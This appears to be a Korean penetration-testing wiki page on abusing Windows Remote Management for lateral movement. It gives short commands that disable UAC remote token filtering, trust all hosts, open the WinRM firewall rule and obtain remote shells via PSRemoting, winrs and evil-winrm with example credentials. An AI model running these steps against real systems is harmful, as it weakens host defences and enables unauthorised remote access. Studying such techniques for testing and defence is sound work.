For the complete documentation index, see llms.txt. This page is also available as Markdown.

winrm

winrm(Windows Remote Management)은 Windows에서 원격 명령 실행을 위한 프로토콜입니다.

AD 환경에서는 Remote Management Users 그룹에 속한 도메인 계정은 winrm이 활성화된 모든 컴퓨터에 연결할 수 있지만, Windows 로컬의 경우 별도로 UAC 원격 제안으로 인해 네트워크 연결이 불가능합니다.

대상 시스템에 관리자 권한(High mandatory level)의 원격 명령 실행이 가능할 경우 해당 레지스트리를 수정하여 네트워크 접속을 허용할 수 있습니다.

Abuse

# UAC 원격 제한 해제
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

# winrm 서비스 시작 및 설정 구성
net start winrm
Set-Item WSMAN:\localhost\Client\TrustedHosts -Value "*" -Force
Set-NetFirewallRule -Name 'WINRM-HTTP-In-TCP' -RemoteAddress Any
# 원격 서버와의 시간 동기화
w32tm /config /manualpeerlist:"AD01.CONTOSO.COM" /syncfromflags:manual /update
w32tm /resync /force

# PSRemoting으로 원격 쉘 획득
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('CONTOSO\Administrator', $pass)
Enter-PSSession -ComputerName DC01 -Credential $cred

# 쉘 획득 없이 원라인 커맨드 실행
winrs /r:http://'<target-ip>':5985/wsman /u:'<username>' /p:'<password>' whoami
# winrm 원격 쉘 획득
evil-winrm -i 192.168.1.11 -u Administrator -p 'Password123!'

References

Last updated